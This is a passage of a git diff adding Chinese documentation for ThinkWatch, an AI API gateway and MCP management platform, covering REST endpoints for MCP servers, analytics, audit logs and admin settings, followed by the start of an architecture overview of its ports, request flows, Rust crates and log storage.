"2026-03-28T10:00:00Z" +} +``` + +#### 示例 + +```bash +curl -X POST http://localhost:3001/api/mcp/servers \ + -H "Authorization: Bearer eyJhbGciOi..." \ + -H "Content-Type: application/json" \ + -d '{ + "name": "jira-tools", + "description": "Jira issue management tools", + "endpoint_url": "https://mcp.internal.corp/jira", + "auth_type": "bearer", + "auth_secret": "mcp-server-token-here" + }' +``` + +#### 错误响应 + +| 状态码 | 条件 | +| ------ | ----------------------------- | +| 401 | JWT 无效 | +| 403 | 非管理员 | +| 409 | 服务器名称已存在 | +| 422 | 验证错误 | + +--- + +#### GET /api/mcp/servers/{id} + +获取特定 MCP 服务器的详情。 + +**认证:** JWT(管理员) + +#### 路径参数 + +| 参数 | 类型 | 描述 | +| --------- | ---- | -------------- | +| `id` | UUID | MCP 服务器 ID | + +#### 响应体 + +与列表响应中的单个项目 Schema 相同。 + +--- + +#### DELETE /api/mcp/servers/{id} + +移除 MCP 服务器注册。活跃的会话将被终止。 + +**认证:** JWT(管理员) + +#### 响应 + +``` +HTTP/1.1 204 No Content +``` + +#### 示例 + +```bash +curl -X DELETE http://localhost:3001/api/mcp/servers/550e8400-e29b-41d4-a716-446655440000 \ + -H "Authorization: Bearer eyJhbGciOi..." +``` + +--- + +#### POST /api/mcp/servers/{id}/discover + +触发 MCP 服务器的工具发现。连接到服务器,调用 `tools/list`,并将发现的工具存储到数据库中。 + +**认证:** JWT(管理员) + +#### 路径参数 + +| 参数 | 类型 | 描述 | +| --------- | ---- | -------------- | +| `id` | UUID | MCP 服务器 ID | + +#### 响应体 + +```json +{ + "server_id": "uuid", + "tools_discovered": 5, + "tools": [ + { + "name": "search_issues", + "description": "Search Jira issues by JQL", + "input_schema": { + "type": "object", + "properties": { + "jql": {"type": "string"} + }, + "required": ["jql"] + } + } + ] +} +``` + +#### 示例 + +```bash +curl -X POST http://localhost:3001/api/mcp/servers/550e8400-e29b-41d4-a716-446655440000/discover \ + -H "Authorization: Bearer eyJhbGciOi..." +``` + +#### 错误响应 + +| 状态码 | 条件 | +| ------ | ------------------------------- | +| 401 | JWT 无效 | +| 403 | 非管理员 | +| 404 | 服务器未找到 | +| 502 | 无法连接到 MCP 服务器 | + +--- + +### MCP 工具 + +#### GET /api/mcp/tools + +列出所有已注册服务器中发现的 MCP 工具。 + +**认证:** JWT + +#### 响应体 + +```json +[ + { + "id": "uuid", + "server_id": "uuid", + "server_name": "jira-tools", + "name": "search_issues", + "description": "Search Jira issues by JQL", + "input_schema": { + "type": "object", + "properties": { + "jql": {"type": "string"} + }, + "required": ["jql"] + } + } +] +``` + +#### 示例 + +```bash +curl http://localhost:3001/api/mcp/tools \ + -H "Authorization: Bearer eyJhbGciOi..." +``` + +--- + +### 分析 + +#### GET /api/analytics/usage + +获取一段时间内的用量数据(请求数、Token 数)。 + +**认证:** JWT + +#### 查询参数 + +| 参数 | 类型 | 必填 | 默认值 | 描述 | +| ------------ | ------ | -------- | ---------- | ------------------------------------ | +| `from` | string | 否 | 7 天前 | 开始日期时间(ISO 8601) | +| `to` | string | 否 | 当前 | 结束日期时间(ISO 8601) | +| `group_by` | string | 否 | `day` | 分组方式:`hour`、`day`、`week` | +| `model` | string | 否 | 全部 | 按模型名称筛选 | + +#### 响应体 + +```json +{ + "data": [ + { + "period": "2026-03-27", + "request_count": 1520, + "prompt_tokens": 450000, + "completion_tokens": 120000, + "total_tokens": 570000 + } + ] +} +``` + +#### 示例 + +```bash +curl "http://localhost:3001/api/analytics/usage?from=2026-03-01T00:00:00Z&group_by=day" \ + -H "Authorization: Bearer eyJhbGciOi..." +``` + +--- + +#### GET /api/analytics/usage/stats + +获取聚合的用量统计数据(总计和平均值)。 + +**认证:** JWT + +#### 响应体 + +```json +{ + "total_requests": 45000, + "total_tokens": 12500000, + "avg_latency_ms": 850, + "models": { + "gpt-4o": {"requests": 30000, "tokens": 9000000}, + "claude-sonnet-4-20250514": {"requests": 15000, "tokens": 3500000} + } +} +``` + +#### 示例 + +```bash +curl http://localhost:3001/api/analytics/usage/stats \ + -H "Authorization: Bearer eyJhbGciOi..." +``` + +--- + +#### GET /api/analytics/costs + +获取一段时间内的成本数据。 + +**认证:** JWT + +#### 查询参数 + +| 参数 | 类型 | 必填 | 默认值 | 描述 | +| ------------ | ------ | -------- | ---------- | ------------------------------- | +| `from` | string | 否 | 7 天前 | 开始日期时间(ISO 8601) | +| `to` | string | 否 | 当前 | 结束日期时间(ISO 8601) | +| `group_by` | string | 否 | `day` | 分组方式:`hour`、`day`、`week` | + +#### 响应体 + +```json +{ + "data": [ + { + "period": "2026-03-27", + "total_cost_usd": 45.20, + "by_model": { + "gpt-4o": 32.10, + "claude-sonnet-4-20250514": 13.10 + } + } + ] +} +``` + +#### 示例 + +```bash +curl "http://localhost:3001/api/analytics/costs?from=2026-03-01T00:00:00Z" \ + -H "Authorization: Bearer eyJhbGciOi..." +``` + +--- + +#### GET /api/analytics/costs/stats + +获取聚合的成本统计数据。 + +**认证:** JWT + +#### 响应体 + +```json +{ + "total_cost_usd": 1250.00, + "avg_daily_cost_usd": 41.67, + "by_model": { + "gpt-4o": 890.00, + "claude-sonnet-4-20250514": 360.00 + } +} +``` + +#### 示例 + +```bash +curl http://localhost:3001/api/analytics/costs/stats \ + -H "Authorization: Bearer eyJhbGciOi..." +``` + +--- + +### 审计 + +#### GET /api/audit/logs + +搜索审计日志条目。由 ClickHouse 支持 SQL 查询和分析。 + +**认证:** JWT(管理员) + +#### 查询参数 + +| 参数 | 类型 | 必填 | 默认值 | 描述 | +| --------- | ------- | -------- | ------- | -------------------------------------- | +| `q` | string | 否 | — | 全文搜索查询 | +| `from` | string | 否 | — | 开始日期时间(ISO 8601) | +| `to` | string | 否 | — | 结束日期时间(ISO 8601) | +| `limit` | integer | 否 | 50 | 结果数量(最大 1000) | +| `offset` | integer | 否 | 0 | 分页偏移量 | + +#### 响应体 + +```json +{ + "total": 2340, + "offset": 0, + "limit": 50, + "entries": [ + { + "id": "uuid", + "timestamp": "2026-03-28T09:15:00Z", + "user_id": "uuid", + "user_email": "admin@example.com", + "action": "provider.create", + "resource_type": "provider", + "resource_id": "uuid", + "details": {"name": "openai-prod"}, + "ip_address": "10.0.1.50", + "user_agent": "Mozilla/5.0..." + } + ] +} +``` + +#### 常用操作值 + +| 操作 | 描述 | +| -------------------- | ---------------------------- | +| `auth.login` | 用户登录 | +| `auth.login_failed` | 登录尝试失败 | +| `auth.register` | 用户注册 | +| `key.create` | API 密钥已创建 | +| `key.revoke` | API 密钥已撤销 | +| `provider.create` | 提供商已添加 | +| `provider.delete` | 提供商已移除 | +| `mcp_server.create` | MCP 服务器已注册 | +| `mcp_server.delete` | MCP 服务器已移除 | +| `user.create` | 管理员创建了用户 | + +#### 示例 + +```bash +curl "http://localhost:3001/api/audit/logs?q=provider.create&from=2026-03-01T00:00:00Z&limit=20" \ + -H "Authorization: Bearer eyJhbGciOi..." +``` + +#### 错误响应 + +| 状态码 | 条件 | +| ------ | ------------------ | +| 401 | JWT 无效 | +| 403 | 非管理员 | + +--- + +### 访问日志 + +#### 查询访问日志 + +`GET /api/admin/access-logs` + +Gateway 和 Console 端口的 HTTP 请求日志。 + +**查询参数:** + +| 参数 | 类型 | 说明 | +|------|------|------| +| `method` | string | HTTP 方法 (GET, POST 等) | +| `path` | string | 请求路径(子串匹配) | +| `status_code` | string | HTTP 状态码 | +| `port` | string | 端口号 (3000 或 3001) | +| `user_id` | string | 用户 UUID | +| `q` | string | 路径全文搜索 | +| `from` | string | 开始时间 (ISO 8601) | +| `to` | string | 结束时间 (ISO 8601) | +| `limit` | integer | 最大返回数 (默认 50,最大 200) | +| `offset` | integer | 分页偏移量 | + +### 应用日志 + +#### 查询应用日志 + +`GET /api/admin/app-logs` + +应用运行时追踪日志。 + +**查询参数:** + +| 参数 | 类型 | 说明 | +|------|------|------| +| `level` | string | 日志级别 (TRACE, DEBUG, INFO, WARN, ERROR) | +| `target` | string | 模块/目标(子串匹配) | +| `q` | string | 消息搜索(子串匹配) | +| `from` | string | 开始时间 (ISO 8601) | +| `to` | string | 结束时间 (ISO 8601) | +| `limit` | integer | 最大返回数 (默认 50,最大 200) | +| `offset` | integer | 分页偏移量 | + +### 平台日志 + +#### 查询平台日志 + +`GET /api/admin/platform-logs` + +平台管理操作审计记录。 + +**查询参数:** + +| 参数 | 类型 | 说明 | +|------|------|------| +| `user_id` | string | 用户 UUID | +| `action` | string | 操作名称 | +| `resource` | string | 资源类型 | +| `resource_id` | string | 资源 UUID | +| `from` | string | 开始时间 (ISO 8601) | +| `to` | string | 结束时间 (ISO 8601) | +| `limit` | integer | 最大返回数 (默认 50,最大 200) | +| `offset` | integer | 分页偏移量 | + +### 网关日志 + +#### 查询网关日志 + +`GET /api/gateway/logs` + +AI API 请求日志,包含模型、Provider、Token 和费用数据。 + +**查询参数:** + +| 参数 | 类型 | 说明 | +|------|------|------| +| `model` | string | 模型 ID | +| `provider` | string | Provider 名称 | +| `user_id` | string | 用户 UUID | +| `api_key_id` | string | API Key UUID | +| `status_code` | integer | HTTP 状态码 | +| `from` | string | 开始时间 (ISO 8601) | +| `to` | string | 结束时间 (ISO 8601) | +| `sort_by` | string | `cost_usd`、`latency_ms` 或 `created_at`(默认) | +| `limit` | integer | 最大返回数 (默认 50,最大 200) | +| `offset` | integer | 分页偏移量 | + +### MCP 日志 + +#### 查询 MCP 日志 + +`GET /api/mcp/logs` + +MCP 工具调用日志。 + +**查询参数:** + +| 参数 | 类型 | 说明 | +|------|------|------| +| `user_id` | string | 用户 UUID | +| `server_id` | string | MCP 服务器 UUID | +| `tool_name` | string | 工具名称 | +| `status` | string | 调用状态 | +| `from` | string | 开始时间 (ISO 8601) | +| `to` | string | 结束时间 (ISO 8601) | +| `sort_by` | string | `duration_ms` 或 `created_at`(默认) | +| `limit` | integer | 最大返回数 (默认 50,最大 200) | +| `offset` | integer | 分页偏移量 | + +--- + +### 管理员设置 + +#### GET /api/admin/settings + +获取按类别分组的所有设置。 + +**认证:** JWT(管理员) + +#### 响应体 + +```json +{ + "auth": { + "jwt_access_ttl_seconds": 900, + "jwt_refresh_ttl_seconds": 604800 + }, + "cache": { + "cache_ttl_seconds": 300 + }, + "security": { + "signature_drift_seconds": 300, + "nonce_ttl_seconds": 300, + "redact": {}, + "inspect_tools": {}, + "content": {} + }, + "budget": { + "budget_warning_threshold": 0.8, + "budget_critical_threshold": 0.95 + }, + "keys": { + "api_key_max_expiry_days": 365, + "api_key_default_rate_limit_rpm": 60 + }, + "general": { + "data_retention_days": 30, + "site_name": "ThinkWatch" + } +} +``` + +#### 示例 + +```bash +curl http://localhost:3001/api/admin/settings \ + -H "Authorization: Bearer eyJhbGciOi..." +``` + +--- + +#### PATCH /api/admin/settings + +更新一个或多个设置。设置在持久化之前会进行验证。 + +**认证:** JWT(管理员) + +#### 请求体 + +```json +{ + "settings": { + "jwt_access_ttl_seconds": 1800, + "site_name": "My AI Gateway", + "data_retention_days": 60 + } +} +``` + +| 字段 | 类型 | 必填 | 描述 | +| ---------- | ------ | -------- | ---------------------------------- | +| `settings` | object | 是 | 要更新的设置键值对 | + +#### 响应体 + +```json +{ + "updated": ["jwt_access_ttl_seconds", "site_name", "data_retention_days"], + "settings": { + "jwt_access_ttl_seconds": 1800, + "site_name": "My AI Gateway", + "data_retention_days": 60 + } +} +``` + +#### 示例 + +```bash +curl -X PATCH http://localhost:3001/api/admin/settings \ + -H "Authorization: Bearer eyJhbGciOi..." \ + -H "Content-Type: application/json" \ + -d '{ + "settings": { + "jwt_access_ttl_seconds": 1800, + "data_retention_days": 90 + } + }' +``` + +#### 错误响应 + +| 状态码 | 条件 | +| ------ | --------------------------------- | +| 401 | JWT 无效 | +| 403 | 非管理员 | +| 422 | 验证错误(无效的键或值) | + +--- + +#### GET /api/admin/settings/category/{category} + +获取特定类别的设置。 + +**认证:** JWT(管理员) + +#### 路径参数 + +| 参数 | 类型 | 描述 | +| ---------- | ------ | ------------------------------------------------------------------------------ | +| `category` | string | `auth`、`cache`、`security`、`budget`、`keys`、`general`、`system`、`oidc`、`audit` 之一 | + +#### 响应体 + +仅返回所请求类别的设置(与 `GET /api/admin/settings` 中对应部分的结构相同)。 + +#### 示例 + +```bash +curl http://localhost:3001/api/admin/settings/category/auth \ + -H "Authorization: Bearer eyJhbGciOi..." +``` + +#### 错误响应 + +| 状态码 | 条件 | +| ------ | ------------------ | +| 401 | JWT 无效 | +| 403 | 非管理员 | +| 404 | 未知类别 | + +--- + +> **注意:** 旧版端点 `GET /api/admin/settings/system`、`GET /api/admin/settings/oidc` 和 `GET /api/admin/settings/audit` 仍然可用,作为 `GET /api/admin/settings/category/{category}` 对应类别的别名。 + +--- + +### 控制台健康检查 + +#### GET /api/health + +详细的健康检查,报告与后端服务的连通性、延迟指标和连接池状态。 + +**认证:** 公开 + +#### 响应体(健康) + +```json +{ + "status": "ok", + "pg_latency_ms": 2.5, + "redis_latency_ms": 0.8, + "clickhouse_latency_ms": 5.1, + "pool_idle": 8, + "pool_active": 2, + "uptime_seconds": 86400, + "services": { + "postgres": "ok", + "redis": "ok", + "clickhouse": "ok" + } +} +``` + +#### 响应体(降级) + +如果关键依赖(PostgreSQL 或 Redis)不可达,端点返回 HTTP 503: + +```json +{ + "status": "degraded", + "pg_latency_ms": null, + "redis_latency_ms": 0.8, + "clickhouse_latency_ms": 5.1, + "pool_idle": 0, + "pool_active": 0, + "uptime_seconds": 86400, + "services": { + "postgres": "error", + "redis": "ok", + "clickhouse": "ok" + } +} +``` + +| 字段 | 类型 | 描述 | +| -------------------- | ------- | ---------------------------------------- | +| `status` | string | `ok` 或 `degraded` | +| `pg_latency_ms` | number | PostgreSQL 延迟(不可达时为 null) | +| `redis_latency_ms` | number | Redis 延迟(不可达时为 null) | +| `clickhouse_latency_ms`| number | ClickHouse 延迟(不可达时为 null) | +| `pool_idle` | integer | 空闲数据库连接数 | +| `pool_active` | integer | 活跃数据库连接数 | +| `uptime_seconds` | integer | 服务器运行时间(秒) | + +#### 示例 + +```bash +curl http://localhost:3001/api/health +``` + +| 状态码 | 条件 | +| ------ | --------------------------------------- | +| 200 | 所有服务健康 | +| 503 | 关键依赖(PG 或 Redis)不可用 | diff --git a/src/content/docs/zh-CN/architecture.md b/src/content/docs/zh-CN/architecture.md new file mode 100644 index 0000000..fbb51a0 --- /dev/null +++ b/src/content/docs/zh-CN/architecture.md @@ -0,0 +1,463 @@ +# ThinkWatch 架构设计 + +## 1. 概述 + +ThinkWatch 是一个使用 Rust 构建的企业级 AI API 网关和 MCP(Model Context Protocol)管理平台。它作为组织内所有 AI 访问的**堡垒主机** —— 来自开发工具、自动化代理和内部应用的每个请求都通过单一受控网关流转,然后才到达上游 AI 提供商或 MCP 服务器。 + +该架构提供集中化的: + +- **认证与授权** —— API 密钥验证、基于 JWT 的会话、OIDC SSO 以及基于角色的访问控制。 +- **成本管理** —— 按密钥和按团队的预算、Token 级别的用量跟踪以及实时成本计算。 +- **速率限制** —— 按 API 密钥执行每分钟请求数(RPM)和每分钟 Token 数(TPM)的限制。 +- **审计日志** —— 每个请求都会记录完整上下文,用于合规和调试。 +- **模型访问治理** —— 细粒度权限控制,管理哪些用户、团队和角色可以访问哪些 AI 模型和 MCP 工具。 +- **多提供商抽象** —— 统一的 API(OpenAI、Anthropic 和 Responses 格式),代理到 OpenAI、Anthropic、Google、Azure OpenAI、AWS Bedrock 及自定义提供商,并自动进行请求/响应格式转换。 + +--- + +## 2. 系统架构图 + +``` + Downstream Clients + +----------------+ +----------------+ +----------------+ + | Claude Code | | Cursor | | Custom Agents | + | (MCP client) | | (OpenAI-compat)| | (API / MCP) | + +-------+--------+ +-------+--------+ +-------+--------+ + | | | + | tw-xxx API key | JWT / API key | + +--------------------+--------------------+ + | + +----------+-----------+ + | Reverse Proxy | + | (nginx / traefik) | + +----+------------+----+ + | | + +--------------+--+ +----+----------------+ + | Gateway :3000 | | Console :3001 | + | +-----------+ | | +--------------+ | + | | /v1/* | | | | /api/* | | + | | AI Proxy | | | | Mgmt REST API| | + | +-----------+ | | +--------------+ | + | +-----------+ | | +--------------+ | + | | /mcp | | | | Web UI (SPA) | | + | | MCP Proxy | | | | React 19 | | + | +-----------+ | | +--------------+ | + | +-----------+ | +---------------------+ + | +-----------+ | + | | /health/* | | + | | /metrics | | + | +-----------+ | + +---------+-------+ + | + +-------------------+-------------------+ + | | | + +-----+------+ +------+------+ +-------+-------+ + | PostgreSQL | | Redis | | ClickHouse | + | users, keys | | rate limits | | audit logs | + | providers | | sessions | | | + | settings | | config sync | | | + | usage, RBAC | | OIDC state | +---------------+ + +-------------+ +-------------+ + + +-------------------+-------------------+ + | | | + +-----+------+ +------+------+ +-------+-------+ + | OpenAI | | Anthropic | | Google | + | API | | API | | Gemini API | + +------------+ +-------------+ +---------------+ + +-----+------+ +------+------+ + | Azure | | AWS | + | OpenAI | | Bedrock | + +------------+ +-------------+ + Upstream AI Providers + + +---------------------------------------------+ + | Upstream MCP Servers (Streamable HTTP) | + | e.g. filesystem, github, database, etc. | + +---------------------------------------------+ + + +---------------------------------------------+ + | Zitadel (OIDC SSO Provider) | + | External identity provider for SSO login | + +---------------------------------------------+ +``` + +--- + +## 3. 双端口架构 + +ThinkWatch 在单个进程中绑定两个独立的 TCP 监听器: + +| 端口 | 名称 | 用途 | 目标用户 | +|------|---------|-------------------------------------------|--------------------| +| 3000 | Gateway | AI API 代理(`/v1/chat/completions`、`/v1/messages`、`/v1/responses`、`/v1/models`)、MCP 代理 (`/mcp`)、健康检查 (`/health/live`、`/health/ready`)、Prometheus 指标 (`/metrics`) | AI 客户端、代理、监控 | +| 3001 | Console | 管理 REST API (`/api/*`)、Web UI | 管理员 | + +### 为什么使用两个端口? + +**安全隔离。** 网关端口是唯一应暴露给公共网络或开发者工作站的端口。它接受 API 密钥认证并提供高吞吐量的代理路径。控制台端口提供管理界面,应限制在内部网络、VPN 或本地访问。 + +**网络拓扑建议:** + +- **生产环境:** 在两个端口前放置反向代理(nginx、traefik 或云负载均衡器)。仅将端口 3000 暴露给公共或开发者网络。将端口 3001 限制在内部网段或要求 VPN 访问。 +- **Kubernetes:** 创建两个独立的 Ingress 资源 —— 一个面向公共的网关主机 Ingress 和一个内部 Ingress(或完全不使用 Ingress,通过 port-forward 访问)用于控制台主机。 +- **开发环境:** 两个端口都可以在 localhost 上访问。React 开发服务器(pnpm dev)将 API 调用代理到 `localhost:3001`。 + +--- + +## 4. AI API 网关数据流 + +当客户端通过网关发送请求时(通过 `/v1/chat/completions`、`/v1/messages` 或 `/v1/responses`),会执行以下步骤: + +``` +Client Gateway :3000 Upstream Provider + | | | + | POST /v1/chat/completions | + | Authorization: Bearer tw-xxxx | + |----------------------->| | + | | | + | 1. API Key Auth Middleware | + | - Extract key prefix (tw-xxxx) | + | - Hash key, lookup in PostgreSQL | + | - Validate: active, not expired, budget ok | + | - Attach user_id, team_id, scopes to request | + | | | + | 2. Model Router | + | - Extract model from request body | + | - Find provider + model in registry | + | - Check model_permissions for user/team/role | + | - Check allowed_models on the API key | + | | | + | 3. Request Transform | + | - If provider is Anthropic: -> Claude format | + | - If provider is Google: -> Gemini format | + | - If provider is Azure: -> Azure OpenAI format| + | - If provider is Bedrock: -> Converse API | + | - If provider is OpenAI: pass through | + | | | + | 4. Rate Limiter | + | - Check RPM counter in Redis | + | - Estimate tokens, check TPM counter | + | - If exceeded: return 429 Too Many Requests | + | | | + | 5. Upstream Proxy | + | - Build request with provider API key | + | (decrypted from providers.api_key_encrypted)| + | - Forward to provider base_url | + | |--- POST provider.base_url ---------->| + | | | + | |<--- SSE stream / JSON response ------| + | | | + | 6. Response Transform | + | - 将上游响应转换为客户端格式 | + | - Bedrock: 解码二进制 event-stream | + | - Stream SSE chunks back to client | + | | | + |<-- SSE stream ---------| | + | | | + | 7. Async Post-Processing (spawned task) | + | - Count input/output tokens (tiktoken) | + | - Calculate cost from model pricing | + | - Insert usage_record into PostgreSQL | + | - Push audit log to ClickHouse | + | - Forward to log forwarders (syslog/kafka/webhook) | + | - Update rate limit counters in Redis | + | | | + | 8. 访问日志 | + | - 方法、路径、状态码、延迟和客户端 IP | + | 异步记录到 ClickHouse | +``` + +### 关键设计决策 + +- **流式优先:** 代理使用 `eventsource-stream` 和 `async-stream` 以最小缓冲实时转发 SSE 数据块。对于 AWS Bedrock,使用原生二进制 event-stream 解码。Token 计数在流完成后进行。 +- **提供商 API 密钥静态加密存储**,使用 AES-256-GCM。`ENCRYPTION_KEY` 环境变量提供 256 位密钥。对于 AWS Bedrock,凭证(`ACCESS_KEY_ID:SECRET_ACCESS_KEY`)使用相同方案加密,并通过官方 `aws-sigv4` crate 用于 SigV4 请求签名。 +- **多格式支持:** 网关接受三种 API 格式:OpenAI Chat Completions(`/v1/chat/completions`)、Anthropic Messages(`/v1/messages`)和 OpenAI Responses(`/v1/responses`)。无论入站格式如何,请求都会通过相同的模型路由器路由并转换为上游提供商的原生格式。这意味着单个 `tw-` API 密钥可以与任何客户端工具配合使用。 + +--- + +## 5. MCP 网关数据流 + +MCP 网关允许客户端(如 Claude Code 或 Cursor)通过单个经过认证的端点访问远程 MCP 工具服务器: + +``` +MCP Client MCP Gateway :3000/mcp Upstream MCP Server + | | | + | POST /mcp | | + | Authorization: Bearer | + | (or tw-xxx API key) | | + |-------------------------->| | + | | | + | 1. Authentication | + | - Validate JWT or API key | + | - Extract user identity + roles | + | | | + | 2. Session Management | + | - Mcp-Session-Id header check | + | - Create new session or resume existing | + | - Session state stored in Redis | + | | | + | 3. JSON-RPC Dispatch | + | Parse method: | + | - "initialize" -> return capabilities | + | - "tools/list" -> aggregate from registry | + | - "tools/call" -> route to server | + | | | + | 4. Tool Namespace Resolution (tools/call) | + | - Tool name: "github__create_issue" | + | - Split on "__" -> server="github", | + | tool="create_issue" | + | - Look up server in mcp_servers registry | + | | | + | 5. Access Control Check | + | - Check mcp_tool_permissions for | + | user/team/role against this tool | + | - Deny if not permitted | + | | | + | 6. Connection Pool -> Upstream | + | - Get/create connection from pool | + | - Forward JSON-RPC call to upstream server | + | |--- POST server.endpoint_url ---->| + | |<-- JSON-RPC response ------------| + | | | + | 7. Response Forwarding + Audit | + | - Return JSON-RPC response to client | + | - Log tool invocation to audit_logs | + | | | + |<-- JSON-RPC response -----| | +``` + +### 关键设计决策 + +- **Streamable HTTP 传输** 是主要的 MCP 传输方式。网关通过 `streamable_http` 连接上游服务器。 +- **工具聚合:** 当客户端调用 `tools/list` 时,网关会聚合用户有权访问的所有已注册 MCP 服务器的工具,并在每个工具名称前加上其服务器名称和 `__` 以避免冲突。 +- **连接池** 复用上游 MCP 连接,避免重复握手。 +- **健康检查** 定期运行(可通过 `health_check_interval` 配置),将服务器标记为健康或不健康。 + +--- + +## 6. Crate 架构 + +ThinkWatch 采用 Cargo workspace 结构,包含五个 crate: + +``` +crates/ + server/ # Binary crate -- HTTP servers, routes, handlers, middleware + gateway/ # Library -- AI API proxy engine + mcp-gateway/ # Library -- MCP proxy engine + auth/ # Library -- authentication and authorization + common/ # Library -- shared infrastructure +``` + +### server + +应用程序入口点。包含: + +- **`main.rs`** —— 初始化配置、数据库、Redis,运行启动验证(依赖检查、JWT Secret 熵值),并启动网关和控制台两个 Axum 服务器。 +- **`app.rs`** —— 为两个端口构建 Axum 路由树。 +- **`background_tasks/`** —— 定期后台任务: + - `api_key_lifecycle.rs` —— 每小时运行,执行密钥轮换周期、闲置超时和到期策略。 + - `data_retention.rs` —— 每日运行,清理过期的使用记录、审计日志以及超过 30 天保留窗口的软删除记录。 +- **`handlers/`** —— 按领域组织的请求处理器: + - `auth.rs`、`sso.rs` —— 登录、注册、OIDC 回调 + - `api_keys.rs` —— 虚拟 API 密钥的 CRUD 操作 + - `providers.rs` —— AI 提供商和模型管理 + - `mcp_servers.rs`、`mcp_tools.rs` —— MCP 服务器注册管理 + - `analytics.rs`、`audit.rs` —— 用量仪表盘、审计日志查询 + - `admin.rs` —— 用户管理、角色分配、系统设置 + - `settings.rs` —— 动态配置 CRUD(`GET/PATCH /api/admin/settings`,按分类过滤) + - `setup.rs` —— 首次运行设置向导(`GET /api/setup/status`、`POST /api/setup/initialize`) + - `health.rs` —— 健康检查端点(`/health/live`、`/health/ready`、`/api/health`) + - `metrics.rs` —— Prometheus 指标端点(`GET /metrics`) +- **`middleware/`** —— Axum 中间件层: + - `api_key_auth.rs` —— 为网关路由提取和验证 `tw-` API 密钥 + - `auth_guard.rs` —— 为控制台路由验证 JWT 令牌 + - `require_role.rs` —— RBAC 强制执行中间件 + +### gateway + +AI API 代理引擎。包含: + +- **`providers/`** —— 基于统一 trait 的提供商实现: + - `traits.rs` —— 定义代理接口的 `AiProvider` trait + - `openai.rs` —— OpenAI 代理(直通) + - `anthropic.rs` —— Anthropic Claude 代理,带格式转换 + - `google.rs` —— Google Gemini 代理,带格式转换 + - `azure.rs` —— Azure OpenAI 代理,使用 `api-key` 请求头认证和 `api_version` 查询参数 + - `bedrock.rs` —— AWS Bedrock 代理,使用 SigV4 签名(官方 `aws-sigv4` crate)、Converse API 和原生二进制 event-stream 流式传输 + - `custom.rs` —— 通用 OpenAI 兼容提供商代理 +- **`proxy.rs`** —— 核心代理逻辑:接收请求、选择提供商、转发、返回响应。 +- **`router.rs`** —— 模型到提供商的路由和权限检查。 +- **`streaming.rs`** —— SSE 流转发和数据块处理。 +- **`transform/`** —— OpenAI、Anthropic、Google、Azure 和 Bedrock 格式之间的请求/响应格式转换。 +- **`rate_limiter.rs`** —— 基于 Redis 的 RPM/TPM 速率限制,使用滑动窗口计数器。 +- **`token_counter.rs`** —— 使用 `tiktoken-rs` 进行 Token 计数,用于用量跟踪和 TPM 限制。 +- **`cost_tracker.rs`** —— 基于数据库中模型定价的实时成本计算。 +- **`circuit_breaker.rs`** —— 按 Provider 的三态断路器(Closed/Open/HalfOpen),可配置 `failure_threshold` 和 `recovery_secs`。 +- **`retry.rs`** —— 针对瞬态故障(NetworkError、UpstreamRateLimited)的指数退避重试,可配置 `max_retries`、`initial_delay_ms`、`max_delay_ms` 和 `jitter`。 + +### mcp-gateway + +MCP 代理引擎。包含: + +- **`proxy.rs`** —— 核心 MCP 代理:接收 JSON-RPC 请求,分发到正确的上游服务器。 +- **`registry.rs`** —— MCP 服务器及其工具的内存注册表,从 PostgreSQL 同步。 +- **`pool.rs`** —— 上游 MCP 服务器连接池。 +- **`session.rs`** —— 有状态 MCP 交互的会话管理(基于 Redis)。 +- **`access_control.rs`** —— 针对 `mcp_tool_permissions` 的工具调用权限检查。 +- **`health.rs`** —— 已注册 MCP 服务器的定期健康检查。 +- **`transport/`** —— 传输层实现: + - `streamable_http.rs` —— 用于上游 MCP 服务器的 Streamable HTTP 传输客户端。 + +### auth + +认证与授权库。包含: + +- **`jwt.rs`** —— 使用 `jsonwebtoken` 进行 JWT 令牌创建和验证。 +- **`api_key.rs`** —— API 密钥生成(`tw-` 前缀)、哈希和验证。 +- **`password.rs`** —— 使用 Argon2 进行密码哈希和验证。 +- **`oidc.rs`** —— 用于与 Zitadel 或任何 OIDC 提供商进行 SSO 的 OpenID Connect 客户端。处理授权 URL 生成、回调处理和用户配置。 +- **`rbac.rs`** —— 基于角色的访问控制:权限加载、角色层级和授权检查。 + +### common + +所有其他 crate 使用的共享基础设施。包含: + +- **`config.rs`** —— 从环境变量加载的 `AppConfig` 结构体。 +- **`dynamic_config.rs`** —— `DynamicConfig` 系统,从 `system_settings` 数据库表加载配置。支持通过 Redis Pub/Sub 的多实例同步和内存缓存。涵盖 JWT TTL、缓存 TTL、请求防护(出站脱敏、工具调用审查、内容过滤)的策略、预算阈值、API Key 策略和数据保留设置。 +- **`db.rs`** —— 使用 `sqlx` 设置 PostgreSQL 连接池。 +- **`models/`** —— 数据库模型结构体(每个领域实体一个):`user.rs`、`team.rs`、`api_key.rs`、`provider.rs`、`mcp_server.rs`、`usage.rs`、`audit_log.rs`。 +- **`dto/`** —— 用于 API 请求/响应序列化的数据传输对象。 +- **`errors.rs`** —— 统一的错误类型,带 HTTP 状态码映射。 +- **`crypto.rs`** —— 用于提供商 API 密钥的 AES-256-GCM 加密/解密。 +- **`audit.rs`** —— 审计日志写入器(PostgreSQL + 可选 ClickHouse + 可选 syslog 转发)。 +- **`validation.rs`** —— 密码复杂度校验(8+ 字符,大写、小写、数字) + +### 日志存储架构 + +ThinkWatch 在 ClickHouse 中存储六种类型的日志,每种使用独立的表: + +| 表名 | 用途 | TTL | +|------|------|-----| +| `audit_logs` | 安全审计轨迹(登录、API Key 操作、设置变更) | 90 天 | +| `gateway_logs` | AI API 请求日志(模型、Token、费用、延迟) | 90 天 | +| `mcp_logs` | MCP 工具调用日志(服务器、工具、耗时、状态) | 90 天 | +| `platform_logs` | 平台管理操作 | 90 天 | +| `access_logs` | HTTP 访问日志(方法、路径、状态码、延迟) | 30 天 | +| `app_logs` | 应用运行时追踪(级别、目标、消息、span) | 30 天 | + +所有表使用 MergeTree 引擎,按月分区,TTL 自动清理。HTTP 访问日志和应用追踪以异步方式写入,不会阻塞请求处理。 + +管理控制台提供统一的**日志查询**页面,支持结构化查询语法跨所有日志类型搜索。 + +--- + +## 7. 数据库 Schema 概述 + +数据库 Schema 由十二个迁移文件定义,在启动时按顺序应用: + +### 001_init_users —— 用户账户 + +| 表 | 用途 | +|---------|------| +| `users` | 核心用户账户,包含邮箱、显示名称、密码哈希(用于本地认证)以及 OIDC subject/issuer(用于 SSO)。| + +### 002_init_teams —— 团队组织 + +| 表 | 用途 | +|----------------|------| +| `teams` | 组织团队,可选的月度预算限制。| +| `team_members` | 用户和团队之间的多对多关联,带角色字段(owner/member)。| + +### 003_init_rbac —— 